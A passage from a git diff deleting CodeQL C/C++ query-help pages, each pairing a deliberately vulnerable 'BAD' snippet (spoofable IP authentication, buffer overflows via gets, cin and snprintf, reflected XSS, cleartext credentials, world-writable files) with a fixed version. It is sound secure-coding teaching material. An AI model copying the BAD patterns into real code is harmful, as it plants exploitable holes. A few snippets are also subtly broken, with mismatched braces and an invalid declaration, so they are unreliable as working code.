check before performing an arithmetic operation. - - -```c -int main(int argc, char** argv) { - int i = rand(); - // BAD: potential overflow - int j = i + 1000; - - // ... - - int n = rand(); - int k; - // GOOD: use a guard to prevent overflow - if (n < INT_MAX-1000) - k = n + 1000; - else - k = INT_MAX; -} - -``` - -## References -* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). -* Common Weakness Enumeration: [CWE-191](https://cwe.mitre.org/data/definitions/191.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/AuthenticationBypass.md b/docs/language/query-help/cpp/AuthenticationBypass.md deleted file mode 100644 index ad539c508d7..00000000000 --- a/docs/language/query-help/cpp/AuthenticationBypass.md +++ /dev/null @@ -1,61 +0,0 @@ -# Authentication bypass by spoofing - -``` -ID: cpp/user-controlled-bypass -Kind: path-problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-290 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-290/AuthenticationBypass.ql) - -Code which relies on an IP address or domain name for authentication can be exploited by an attacker who spoofs their address. - - -## Recommendation -IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication. Make sure that other authentication methods are also in place. - - -## Example -In this example (taken from [CWE-290: Authentication Bypass by Spoofing](http://cwe.mitre.org/data/definitions/290.html)), the client is authenticated by checking that its IP address is `127.0.0.1`. An attacker might be able to bypass this authentication by spoofing their IP address. - - -```cpp - -#define BUFFER_SIZE (4 * 1024) - -void receiveData() -{ - int sock; - sockaddr_in addr, addr_from; - char buffer[BUFFER_SIZE]; - int msg_size; - socklen_t addr_from_len; - - // configure addr - memset(&addr, 0, sizeof(addr)); - addr.sin_family = AF_INET; - addr.sin_port = htons(1234); - addr.sin_addr.s_addr = INADDR_ANY; - - // create and bind the socket - sock = socket(AF_INET, SOCK_DGRAM, 0); - bind(sock, (sockaddr *)&addr, sizeof(addr)); - - // receive message - addr_from_len = sizeof(addr_from); - msg_size = recvfrom(sock, buffer, BUFFER_SIZE, 0, (sockaddr *)&addr_from, &addr_from_len); - - // BAD: the address is controllable by the user, so it - // could be spoofed to bypass the security check below. - if ((msg_size > 0) && (strcmp("127.0.0.1", inet_ntoa(addr_from.sin_addr)) == 0)) - { - // ... - } -} - -``` - -## References -* Common Weakness Enumeration: [CWE-290](https://cwe.mitre.org/data/definitions/290.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/BadAdditionOverflowCheck.md b/docs/language/query-help/cpp/BadAdditionOverflowCheck.md deleted file mode 100644 index 1ecc9184f3d..00000000000 --- a/docs/language/query-help/cpp/BadAdditionOverflowCheck.md +++ /dev/null @@ -1,46 +0,0 @@ -# Bad check for overflow of integer addition - ->ID: cpp/bad-addition-overflow-check -> ->Kind: problem -> ->Severity: error -> ->Precision: very-high ->Tags: reliability correctness security external/cwe/cwe-190 external/cwe/cwe-192 - -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Arithmetic/BadAdditionOverflowCheck.ql) - -Checking for overflow of integer addition needs to be done with care, because automatic type promotion can prevent the check from working as intended, with the same value (`true` or `false`) always being returned. - - -## Recommendation -Use an explicit cast to make sure that the result of the addition is not implicitly converted to a larger type. - - -## Example - -```cpp -bool checkOverflow(unsigned short x, unsigned short y) { - // BAD: comparison is always false due to type promotion - return (x + y < x); -} - -``` -On a typical architecture where `short` is 16 bits and `int` is 32 bits, the operands of the addition are automatically promoted to `int`, so it cannot overflow and the result of the comparison is always false. - -The code below implements the check correctly, by using an explicit cast to make sure that the result of the addition is `unsigned short` (which may overflow, in which case the comparison would evaluate to `true`). - - -```cpp -bool checkOverflow(unsigned short x, unsigned short y) { - return ((unsigned short)(x + y) < x); // GOOD: explicit cast -} - -``` - -## References -* [Preserving Rules](http://c-faq.com/expr/preservingrules.html) -* [Understand integer conversion rules](https://www.securecoding.cert.org/confluence/plugins/servlet/mobile#content/view/20086942) -* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). -* Common Weakness Enumeration: [CWE-192](https://cwe.mitre.org/data/definitions/192.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/BadlyBoundedWrite.md b/docs/language/query-help/cpp/BadlyBoundedWrite.md deleted file mode 100644 index 05223acc7c5..00000000000 --- a/docs/language/query-help/cpp/BadlyBoundedWrite.md +++ /dev/null @@ -1,42 +0,0 @@ -# Badly bounded write - -``` -ID: cpp/badly-bounded-write -Kind: problem -Severity: error -Precision: high -Tags: reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-120/BadlyBoundedWrite.ql) - -The program performs a buffer copy or write operation with an incorrect upper limit on the size of the copy. A sufficiently long input will overflow the target buffer. In addition to causing program instability, techniques exist which may allow an attacker to use this vulnerability to execute arbitrary code. - - -## Recommendation -Use preprocessor defines to specify the size of buffers, and use the same defines as arguments to `strncpy`, `snprintf` etc. This technique will ensure that buffer sizes are always specified correctly so that no overflow occurs. - - -## Example - -```c -void congratulateUser(const char *userName) -{ - char buffer[80]; - - // BAD: even though snprintf is used, this could overflow the buffer - // because the size specified is too large. - snprintf(buffer, 256, "Congratulations, %s!", userName); - - MessageBox(hWnd, buffer, "New Message", MB_OK); -} -``` -In this example, the developer has used `snprintf` to control the maximum number of characters that can be written to `buffer`. Unfortunately, perhaps due to modifications since the code was first written, a limited buffer overrun can still occur because the size argument to `snprintf` is larger than the actual size of the buffer. - -To fix the problem, either the second argument to `snprintf` should be changed to 80, or the buffer extended to 256 characters. A further improvement is to use a preprocessor define so that the size is only specified in one place, potentially preventing future recurrence of this issue. - - -## References -* Common Weakness Enumeration: [CWE-120](https://cwe.mitre.org/data/definitions/120.html). -* Common Weakness Enumeration: [CWE-787](https://cwe.mitre.org/data/definitions/787.html). -* Common Weakness Enumeration: [CWE-805](https://cwe.mitre.org/data/definitions/805.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/BrokenCryptoAlgorithm.md b/docs/language/query-help/cpp/BrokenCryptoAlgorithm.md deleted file mode 100644 index 05f08d4667d..00000000000 --- a/docs/language/query-help/cpp/BrokenCryptoAlgorithm.md +++ /dev/null @@ -1,46 +0,0 @@ -# Use of a broken or risky cryptographic algorithm - -``` -ID: cpp/weak-cryptographic-algorithm -Kind: problem -Severity: error -Precision: medium -Tags: security external/cwe/cwe-327 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-327/BrokenCryptoAlgorithm.ql) - -Using broken or weak cryptographic algorithms can leave data vulnerable to being decrypted. - -Many cryptographic algorithms provided by cryptography libraries are known to be weak, or flawed. Using such an algorithm means that an attacker may be able to easily decrypt the encrypted data. - - -## Recommendation -Ensure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048. - - -## Example -The following code shows an example of using the `advapi` windows API to decrypt some data. When creating a key, you must specify which algorithm to use. The first example uses DES which is an older algorithm that is now considered weak. The second example uses AES, which is a strong modern algorithm. - - -```c -void advapi() { - HCRYPTPROV hCryptProv; - HCRYPTKEY hKey; - HCRYPTHASH hHash; - // other preparation goes here - - // BAD: use 3DES for key - CryptDeriveKey(hCryptProv, CALG_3DES, hHash, 0, &hKey); - - // GOOD: use AES - CryptDeriveKey(hCryptProv, CALG_AES_256, hHash, 0, &hKey); -} - - -``` - -## References -* NIST, FIPS 140 Annex a: [ Approved Security Functions](http://csrc.nist.gov/publications/fips/fips140-2/fips1402annexa.pdf). -* NIST, SP 800-131A: [ Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf). -* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/CastArrayPointerArithmetic.md b/docs/language/query-help/cpp/CastArrayPointerArithmetic.md deleted file mode 100644 index a878125a384..00000000000 --- a/docs/language/query-help/cpp/CastArrayPointerArithmetic.md +++ /dev/null @@ -1,48 +0,0 @@ -# Upcast array used in pointer arithmetic - -``` -ID: cpp/upcast-array-pointer-arithmetic -Kind: path-problem -Severity: warning -Precision: high -Tags: correctness reliability security external/cwe/cwe-119 external/cwe/cwe-843 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Conversion/CastArrayPointerArithmetic.ql) - -A pointer to a derived class may be implicitly converted to a pointer to its base type when passed as an argument to a function expecting a pointer to the base type. If pointer arithmetic or an array dereference is then used, it will be performed using the size of the base type. This can lead to reading data from unexpected fields in the derived type. - - -## Recommendation -Only convert pointers to single objects. If you must work with a sequence of objects that are converted to a base type, use an array of pointers rather than a pointer to an array. - - -## Example - -```cpp -class Base { -public: - int x; -} - -class Derived: public Base { -public: - int y; -}; - -void dereference_base(Base *b) { - b[2].x; -} - -void dereference_derived(Derived *d) { - d[2].x; -} - -void test () { - Derived[4] d; - dereference_base(d); // BAD: implicit conversion to Base* - - dereference_derived(d); // GOOD: implicit conversion to Derived*, which will be the right size -} - -``` \ No newline at end of file diff --git a/docs/language/query-help/cpp/CgiXss.md b/docs/language/query-help/cpp/CgiXss.md deleted file mode 100644 index 6337040a100..00000000000 --- a/docs/language/query-help/cpp/CgiXss.md +++ /dev/null @@ -1,54 +0,0 @@ -# CGI script vulnerable to cross-site scripting - -``` -ID: cpp/cgi-xss -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-079 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-079/CgiXss.ql) - -Directly writing an HTTP request parameter back to a web page allows for a cross-site scripting vulnerability. The data is displayed in a user's web browser as belonging to one site, but it is provided by some other site that the user browses to. In effect, such an attack allows one web site to insert content in the other one. - -For web servers implemented with the Common Gateway Interface (CGI), HTTP parameters are supplied via the `QUERY_STRING` environment variable. - - -## Recommendation -To guard against cross-site scripting, consider escaping special characters before writing the HTTP parameter back to the page. - - -## Example -In the following example, the `bad_server` writes a parameter directly back to the HTML page that the user will see. The `good_server` first escapes any HTML special characters before writing to the HTML page. - - -```c -void bad_server() { - char* query = getenv("QUERY_STRING"); - puts("

Query results for "); - // BAD: Printing out an HTTP parameter with no escaping - puts(query); - puts("\n

\n"); - puts(do_search(query)); -} - -void good_server() { - char* query = getenv("QUERY_STRING"); - puts("

Query results for "); - // GOOD: Escape HTML characters before adding to a page - char* query_escaped = escape_html(query); - puts(query_escaped); - free(query_escaped); - - puts("\n

\n"); - puts(do_search(query)); -} - -``` - -## References -* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). -* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). -* IETF Tools: [The Common Gateway Specification (CGI)](http://tools.ietf.org/html/draft-robinson-www-interface-00). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/CleartextBufferWrite.md b/docs/language/query-help/cpp/CleartextBufferWrite.md deleted file mode 100644 index 6b3968157e6..00000000000 --- a/docs/language/query-help/cpp/CleartextBufferWrite.md +++ /dev/null @@ -1,45 +0,0 @@ -# Cleartext storage of sensitive information in buffer - -``` -ID: cpp/cleartext-storage-buffer -Kind: path-problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-312 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-311/CleartextBufferWrite.ql) - -Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. - - -## Recommendation -Ensure that sensitive information is always encrypted before being stored, especially before writing to a file. It may be wise to encrypt information before it is put into a buffer that may be readable in memory. - -In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. - - -## Example -The following example shows two ways of storing user credentials in a file. In the 'BAD' case, the credentials are simply stored in cleartext. In the 'GOOD' case, the credentials are encrypted before storing them. - - -```c -void writeCredentials() { - char *password = "cleartext password"; - FILE* file = fopen("credentials.txt", "w"); - - // BAD: write password to disk in cleartext - fputs(password, file); - - // GOOD: encrypt password first - char *encrypted = encrypt(password); - fputs(encrypted, file); -} - - -``` - -## References -* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. -* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. -* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/CleartextFileWrite.md b/docs/language/query-help/cpp/CleartextFileWrite.md deleted file mode 100644 index 1fbe122b393..00000000000 --- a/docs/language/query-help/cpp/CleartextFileWrite.md +++ /dev/null @@ -1,45 +0,0 @@ -# Cleartext storage of sensitive information in file - -``` -ID: cpp/cleartext-storage-file -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-313 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-311/CleartextFileWrite.ql) - -Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. - - -## Recommendation -Ensure that sensitive information is always encrypted before being stored, especially before writing to a file. It may be wise to encrypt information before it is put into a buffer that may be readable in memory. - -In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. - - -## Example -The following example shows two ways of storing user credentials in a file. In the 'BAD' case, the credentials are simply stored in cleartext. In the 'GOOD' case, the credentials are encrypted before storing them. - - -```c -void writeCredentials() { - char *password = "cleartext password"; - FILE* file = fopen("credentials.txt", "w"); - - // BAD: write password to disk in cleartext - fputs(password, file); - - // GOOD: encrypt password first - char *encrypted = encrypt(password); - fputs(encrypted, file); -} - - -``` - -## References -* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. -* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. -* Common Weakness Enumeration: [CWE-313](https://cwe.mitre.org/data/definitions/313.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/CleartextSqliteDatabase.md b/docs/language/query-help/cpp/CleartextSqliteDatabase.md deleted file mode 100644 index be5cba5b22d..00000000000 --- a/docs/language/query-help/cpp/CleartextSqliteDatabase.md +++ /dev/null @@ -1,67 +0,0 @@ -# Cleartext storage of sensitive information in an SQLite database - -``` -ID: cpp/cleartext-storage-database -Kind: path-problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-313 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-313/CleartextSqliteDatabase.ql) - -Sensitive information that is stored in an unencrypted SQLite database is accessible to an attacker who gains access to the database. - - -## Recommendation -Ensure that if sensitive information is stored in a database then the database is always encrypted. - - -## Example -The following example shows two ways of storing information in an SQLite database. In the 'BAD' case, the credentials are simply stored in cleartext. In the 'GOOD' case, the database (and thus the credentials) are encrypted. - - -```c - -void bad(void) { - char *password = "cleartext password"; - sqlite3 *credentialsDB; - sqlite3_stmt *stmt; - - if (sqlite3_open("credentials.db", &credentialsDB) == SQLITE_OK) { - // BAD: database opened without encryption being enabled - sqlite3_exec(credentialsDB, "CREATE TABLE IF NOT EXISTS creds (password TEXT);", NULL, NULL, NULL); - if (sqlite3_prepare_v2(credentialsDB, "INSERT INTO creds(password) VALUES(?)", -1, &stmt, NULL) == SQLITE_OK) { - sqlite3_bind_text(stmt, 1, password, -1, SQLITE_TRANSIENT); - sqlite3_step(stmt); - sqlite3_finalize(stmt); - sqlite3_close(credentialsDB); - } - } -} - -void good(void) { - char *password = "cleartext password"; - sqlite3 *credentialsDB; - sqlite3_stmt *stmt; - - if (sqlite3_open("credentials.db", &credentialsDB) == SQLITE_OK) { - // GOOD: database encryption enabled: - sqlite3_exec(credentialsDB, "PRAGMA key = 'secretKey!'", NULL, NULL, NULL); - sqlite3_exec(credentialsDB, "CREATE TABLE IF NOT EXISTS creds (password TEXT);", NULL, NULL, NULL); - if (sqlite3_prepare_v2(credentialsDB, "INSERT INTO creds(password) VALUES(?)", -1, &stmt, NULL) == SQLITE_OK) { - sqlite3_bind_text(stmt, 1, password, -1, SQLITE_TRANSIENT); - sqlite3_step(stmt); - sqlite3_finalize(stmt); - sqlite3_close(credentialsDB); - } - } -} - - -``` - -## References -* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. -* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. -* Common Weakness Enumeration: [CWE-313](https://cwe.mitre.org/data/definitions/313.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/ComparisonWithWiderType.md b/docs/language/query-help/cpp/ComparisonWithWiderType.md deleted file mode 100644 index d2bbac37387..00000000000 --- a/docs/language/query-help/cpp/ComparisonWithWiderType.md +++ /dev/null @@ -1,63 +0,0 @@ -# Comparison of narrow type with wide type in loop condition - -``` -ID: cpp/comparison-with-wider-type -Kind: problem -Severity: warning -Precision: high -Tags: reliability security external/cwe/cwe-190 external/cwe/cwe-197 external/cwe/cwe-835 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-190/ComparisonWithWiderType.ql) - -In a loop condition, comparison of a value of a narrow type with a value of a wide type may result in unexpected behavior if the wider value is sufficiently large (or small). This is because the narrower value may overflow. This can lead to an infinite loop. - - -## Recommendation -Change the types of the compared values so that the value on the narrower side of the comparison is at least as wide as the value it is being compared with. - - -## Example -In this example, `bytes_received` is compared against `max_get` in a `while` loop. However, `bytes_received` is an `int16_t`, and `max_get` is an `int32_t`. Because `max_get` is larger than `INT16_MAX`, the loop condition is always `true`, so the loop never terminates. - -This problem is avoided in the 'GOOD' case because `bytes_received2` is an `int32_t`, which is as wide as the type of `max_get`. - - -```c -void main(int argc, char **argv) { - uint32_t big_num = INT32_MAX; - char buf[big_num]; - int16_t bytes_received = 0; - int max_get = INT16_MAX + 1; - - // BAD: 'bytes_received' is compared with a value of a wider type. - // 'bytes_received' overflows before reaching 'max_get', - // causing an infinite loop - while (bytes_received < max_get) - bytes_received += get_from_input(buf, bytes_received); - } - - uint32_t bytes_received = 0; - - // GOOD: 'bytes_received2' has a type at least as wide as 'max_get' - while (bytes_received < max_get) { - bytes_received += get_from_input(buf, bytes_received); - } - -} - - -int getFromInput(char *buf, short pos) { - // write to buf - // ... - return 1; -} - -``` - -## References -* [Data type ranges](https://docs.microsoft.com/en-us/cpp/cpp/data-type-ranges) -* [INT18-C. Evaluate integer expressions in a larger size before comparing or assigning to that size ](https://wiki.sei.cmu.edu/confluence/display/c/INT18-C.+Evaluate+integer+expressions+in+a+larger+size+before+comparing+or+assigning+to+that+size) -* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). -* Common Weakness Enumeration: [CWE-197](https://cwe.mitre.org/data/definitions/197.html). -* Common Weakness Enumeration: [CWE-835](https://cwe.mitre.org/data/definitions/835.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/DangerousFunctionOverflow.md b/docs/language/query-help/cpp/DangerousFunctionOverflow.md deleted file mode 100644 index bc4ef69a78d..00000000000 --- a/docs/language/query-help/cpp/DangerousFunctionOverflow.md +++ /dev/null @@ -1,56 +0,0 @@ -# Use of dangerous function - -``` -ID: cpp/dangerous-function-overflow -Kind: problem -Severity: error -Precision: very-high -Tags: reliability security external/cwe/cwe-242 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-676/DangerousFunctionOverflow.ql) - -This rule finds calls to the `gets` function, which is dangerous and should not be used. See **Related rules** below for rules that identify other dangerous functions. - -The `gets` function is one of the vulnerabilities exploited by the Internet Worm of 1988, one of the first computer worms to spread through the Internet. The `gets` function provides no way to limit the amount of data that is read and stored, so without prior knowledge of the input it is impossible to use it safely with any size of buffer. - - -## Recommendation -Replace calls to `gets` with `fgets`, specifying the maximum length to copy. This will prevent the buffer overflow. - - -## Example -The following example gets a string from standard input in two ways: - - -```c -#define BUFFERSIZE (1024) - -// BAD: using gets -void echo_bad() { - char buffer[BUFFERSIZE]; - gets(buffer); - printf("Input was: '%s'\n", buffer); -} - -// GOOD: using fgets -void echo_good() { - char buffer[BUFFERSIZE]; - fgets(buffer, BUFFERSIZE, stdin); - printf("Input was: '%s'\n", buffer); -} - -``` -The first version uses `gets` and will overflow if the input is longer than the buffer. The second version of the code uses `fgets` and will not overflow, because the amount of data written is limited by the length parameter. - - -## Related rules -Other dangerous functions identified by CWE-676 ("Use of Potentially Dangerous Function") include `strcpy` and `strcat`. Use of these functions is highlighted by rules for the following CWEs: - -* [CWE-120 Classic Buffer Overflow](https://cwe.mitre.org/data/definitions/120.html). -* [CWE-131 Incorrect Calculation of Buffer Size](https://cwe.mitre.org/data/definitions/131.html). - -## References -* Wikipedia: [Morris worm](http://en.wikipedia.org/wiki/Morris_worm). -* E. Spafford. *The Internet Worm Program: An Analysis*. Purdue Technical Report CSD-TR-823, [(online)](http://www.textfiles.com/100/tr823.txt), 1988. -* Common Weakness Enumeration: [CWE-242](https://cwe.mitre.org/data/definitions/242.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/DangerousUseOfCin.md b/docs/language/query-help/cpp/DangerousUseOfCin.md deleted file mode 100644 index 2072b043618..00000000000 --- a/docs/language/query-help/cpp/DangerousUseOfCin.md +++ /dev/null @@ -1,47 +0,0 @@ -# Dangerous use of 'cin' - -``` -ID: cpp/dangerous-cin -Kind: problem -Severity: error -Precision: high -Tags: reliability security external/cwe/cwe-676 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-676/DangerousUseOfCin.ql) - -This rule finds calls to `std::istream::operator>>` on `std::cin` without a preceding call to `cin.width`. Consuming input from `cin` without specifying the length of the input is dangerous due to the possibility of buffer overflows. - - -## Recommendation -Always specify the length of any input expected from `cin` by calling `cin.width` before consuming the input. - - -## Example -The following example shows both a dangerous and a safe way to consume input from `cin`. - - -```cpp -#define BUFFER_SIZE 20 - -void bad() -{ - char buffer[BUFFER_SIZE]; - // BAD: Use of 'cin' without specifying the length of the input. - cin >> buffer; - buffer[BUFFER_SIZE-1] = '\0'; -} - -void good() -{ - char buffer[BUFFER_SIZE]; - // GOOD: Specifying the length of the input before using 'cin'. - cin.width(BUFFER_SIZE); - cin >> buffer; - buffer[BUFFER_SIZE-1] = '\0'; -} - -``` - -## References -* Common Weakness Enumeration: [CWE-676](https://cwe.mitre.org/data/definitions/676.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/DoNotCreateWorldWritable.md b/docs/language/query-help/cpp/DoNotCreateWorldWritable.md deleted file mode 100644 index 61a9dda8a76..00000000000 --- a/docs/language/query-help/cpp/DoNotCreateWorldWritable.md +++ /dev/null @@ -1,45 +0,0 @@ -# File created without restricting permissions - -``` -ID: cpp/world-writable-file-creation -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-732 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-732/DoNotCreateWorldWritable.ql) - -When you create a file, take care to give it the most restrictive permissions possible. A typical mistake is to create the file with world-writable permissions. This can allow an attacker to write to the file, which can give them unexpected control over the program. - - -## Recommendation -Files should usually be created with write permissions only for the current user. If broader permissions are needed, including the users' group should be sufficient. It is very rare that a file needs to be world-writable, and care should be taken not to make assumptions about the contents of any such file. - -On Unix systems, it is possible for the user who runs the program to restrict file creation permissions using `umask`. However, a program should not assume that the user will set an `umask`, and should still set restrictive permissions by default. - - -## Example -This example shows two ways of writing a default configuration file. Software often does this to provide the user with a convenient starting point for defining their own configuration. However, configuration files can also control important aspects of the software's behavior, so it is important that they cannot be controlled by an attacker. - -The first example creates the default configuration file with the usual "default" Unix permissions, `0666`. This makes the file world-writable, so that an attacker could write in their own configuration that would be read by the program. The second example uses more restrictive permissions: a combination of the standard Unix constants `S_IWUSR` and `S_IRUSR` which means that only the current user will have read and write access to the file. - - -```c -int write_default_config_bad() { - // BAD - this is world-writable so any user can overwrite the config - FILE* out = creat(OUTFILE, 0666); - fprintf(out, DEFAULT_CONFIG); -} - -int write_default_config_good() { - // GOOD - this allows only the current user to modify the file - FILE* out = creat(OUTFILE, S_IWUSR | S_IRUSR); - fprintf(out, DEFAULT_CONFIG); -} - -``` - -## References -* The CERT Oracle Secure Coding Standard for C: [ FIO06-C. Create files with appropriate access permissions ](https://www.securecoding.cert.org/confluence/display/c/FIO06-C.+Create+files+with+appropriate+access+permissions). -* Common Weakness Enumeration: [CWE-732](https://cwe.mitre.org/data/definitions/732.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/HResultBooleanConversion.md b/docs/language/query-help/cpp/HResultBooleanConversion.md deleted file mode 100644 index 0311e8c54bf..00000000000 --- a/docs/language/query-help/cpp/HResultBooleanConversion.md +++ /dev/null @@ -1,42 +0,0 @@ -# Cast between HRESULT and a Boolean type - -``` -ID: cpp/hresult-boolean-conversion -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-253 external/microsoft/C6214 external/microsoft/C6215 external/microsoft/C6216 external/microsoft/C6217 external/microsoft/C6230 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-253/HResultBooleanConversion.ql) - -This query indicates that an `HRESULT` is being cast to a Boolean type or vice versa. - -The typical success value (`S_OK`) of an `HRESULT` equals 0. However, 0 indicates failure for a Boolean type. - -Casting an `HRESULT` to a Boolean type and then using it in a test expression will yield an incorrect result. - - -## Recommendation -To check if a call that returns an `HRESULT` succeeded use the `FAILED` macro. - - -## Example -In the following example, `HRESULT` is used in a test expression incorrectly as it may yield an incorrect result. - - -```cpp -LPMALLOC pMalloc; -HRESULT hr = CoGetMalloc(1, &pMalloc); - -if (!hr) -{ - // code ... -} - -``` -To fix this issue, use the `FAILED` macro in the test expression. - - -## References -* Common Weakness Enumeration: [CWE-253](https://cwe.mitre.org/data/definitions/253.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/IncorrectNotOperatorUsage.md b/docs/language/query-help/cpp/IncorrectNotOperatorUsage.md deleted file mode 100644 index 1802ac2c4b3..00000000000 --- a/docs/language/query-help/cpp/IncorrectNotOperatorUsage.md +++ /dev/null @@ -1,55 +0,0 @@ -# Incorrect 'not' operator usage - -``` -ID: cpp/incorrect-not-operator-usage -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-480 external/microsoft/c6317 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Likely%20Typos/IncorrectNotOperatorUsage.ql) - -This rule finds logical-not operator usage as an operator for in a bit-wise operation. - -Due to the nature of logical operation result value, only the lowest bit could possibly be set, and it is unlikely to be intent in bitwise opeartions. Violations are often indicative of a typo, using a logical-not (`!`) opeartor instead of the bit-wise not (`~`) operator. - -This rule is restricted to analyze bit-wise and (`&`) and bit-wise or (`|`) operation in order to provide better precision. - -This rule ignores instances where a double negation (`!!`) is explicitly used as the opeartor of the bitwise operation, as this is a commonly used as a mechanism to normalize an integer value to either 1 or 0. - -NOTE: It is not recommended to use this rule in kernel code or older C code as it will likely find several false positive instances. - - -## Recommendation -Carefully inspect the flagged expressions. Consider the intent in the code logic, and decide whether it is necessary to change the not operator. - - -## Example - -```cpp -#define FLAGS 0x4004 - -void f_warning(int i) -{ - // The usage of the logical not operator in this case is unlikely to be correct - // as the output is being used as an operator for a bit-wise and operation - if (i & !FLAGS) - { - // code - } -} - - -void f_fixed(int i) -{ - if (i & ~FLAGS) // Changing the logical not operator for the bit-wise not operator would fix this logic - { - // code - } -} -``` - -## References -* [warning C6317: incorrect operator: logical-not (!) is not interchangeable with ones-complement (~)](https://docs.microsoft.com/en-us/visualstudio/code-quality/c6317?view=vs-2017) -* Common Weakness Enumeration: [CWE-480](https://cwe.mitre.org/data/definitions/480.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/IncorrectPointerScaling.md b/docs/language/query-help/cpp/IncorrectPointerScaling.md deleted file mode 100644 index ef57fe13bdc..00000000000 --- a/docs/language/query-help/cpp/IncorrectPointerScaling.md +++ /dev/null @@ -1,43 +0,0 @@ -# Suspicious pointer scaling - -``` -ID: cpp/suspicious-pointer-scaling -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-468 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-468/IncorrectPointerScaling.ql) - -Pointer arithmetic in C and C++ is automatically scaled according to the size of the data type. For example, if the type of `p` is `T*` and `sizeof(T) == 4` then the expression `p+1` adds 4 bytes to `p`. This can cause a buffer overflow condition if the programmer forgets that they are adding a multiple of `sizeof(T)`, rather than a number of bytes. - -This query finds pointer arithmetic expressions where it appears likely that the programmer has forgotten that the offset is automatically scaled. - - -## Recommendation -1. Whenever possible, use the array subscript operator rather than pointer arithmetic. For example, replace `*(p+k)` with 